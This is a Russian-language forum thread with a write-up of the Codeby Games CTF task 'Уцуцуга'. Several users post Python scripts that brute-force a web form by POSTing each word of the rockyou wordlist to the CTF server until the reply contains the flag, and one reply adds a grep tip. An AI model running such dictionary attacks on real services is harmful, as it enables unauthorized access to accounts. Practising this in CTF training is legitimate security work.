CTF Codeby Games CTF - Уцуцуга (WriteUp)

D3L1F3R

Red Team
20.02.2022
356
160
BIT
768
Python:
import requests

f = open("/usr/share/wordlists/rockyou.txt", mode="r")

f.readline()

for i in f:
    key = {"word":i}
    r = requests.post("http://62.173.140.174:13000/", data=key)
    print(r.text)
    #print(content)
    print(i)
        
f.close()

Ищем флаг глазами, если увидели останавилваем прогу, копируем и проходим таск!
Я пытался сделать остановку по клчючевому слову "CODEBY", но он почему-то не хотел. Если знаете как это сделать, то напишите.
Моя попытка:
Python:
import requests
from bs4 import BeautifulSoup

f = open("/usr/share/wordlists/rockyou.txt", mode="r")

f.readline()

for i in f:
    key = {"word":i}
    r = requests.post("http://62.173.140.174:13000/", data=key)
    soup = BeautifulSoup(r.text,"lxml")
    #print(r.text)
    content = soup.find('p',id='strong')
    #print(content)
    if str("CODEBY") in str(content):
        print(i)

        
f.close()
 
  • Нравится
Реакции: N1GGA, yetiraki и GoBL1n

Exited3n

Red Team
10.05.2022
760
259
BIT
764
Python:
import requests

with open("words", mode="r") as file:
    words = file.read().split()  # Разделить на список слов
    for word in words:
        key = {"word": word}
        r = requests.post("http://62.173.140.174:13000/", data=key)
        if "CODEBY" in r.text:
            print(f'Password: {word}')
            print(f'Flag: {r.text[595:618]}')
            break
 

Вложения

  • words.txt
    6,3 КБ · Просмотры: 294

D3L1F3R

Red Team
20.02.2022
356
160
BIT
768
Python:
import requests

with open("words", mode="r") as file:
    words = file.read().split()  # Разделить на список слов
    for word in words:
        key = {"word": word}
        r = requests.post("http://62.173.140.174:13000/", data=key)
        if "CODEBY" in r.text:
            print(f'Password: {word}')
            print(f'Flag: {r.text[595:618]}')
            break
вот я и нашёл у себя ошибку, спасибо за ответ
 
  • Нравится
Реакции: GoBL1n

W1N53

One Level
25.08.2023
1
1
BIT
0
Python:
import requests

f = open("/usr/share/wordlists/rockyou.txt", mode="r")

f.readline()

for i in f:
    key = {"word":i}
    r = requests.post("http://62.173.140.174:13000/", data=key)
    print(r.text)
    #print(content)
    print(i)
     
f.close()

Ищем флаг глазами, если увидели останавилваем прогу, копируем и проходим таск!
Я пытался сделать остановку по клчючевому слову "CODEBY", но он почему-то не хотел. Если знаете как это сделать, то напишите.
Моя попытка:
Python:
import requests
from bs4 import BeautifulSoup

f = open("/usr/share/wordlists/rockyou.txt", mode="r")

f.readline()

for i in f:
    key = {"word":i}
    r = requests.post("http://62.173.140.174:13000/", data=key)
    soup = BeautifulSoup(r.text,"lxml")
    #print(r.text)
    content = soup.find('p',id='strong')
    #print(content)
    if str("CODEBY") in str(content):
        print(i)

     
f.close()
python3 <script-name.py> | grep "CODEBY", как вариант с использованием утилиты командной строки grep, с поиском по ключевому слову
 
  • Нравится
Реакции: D3L1F3R
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!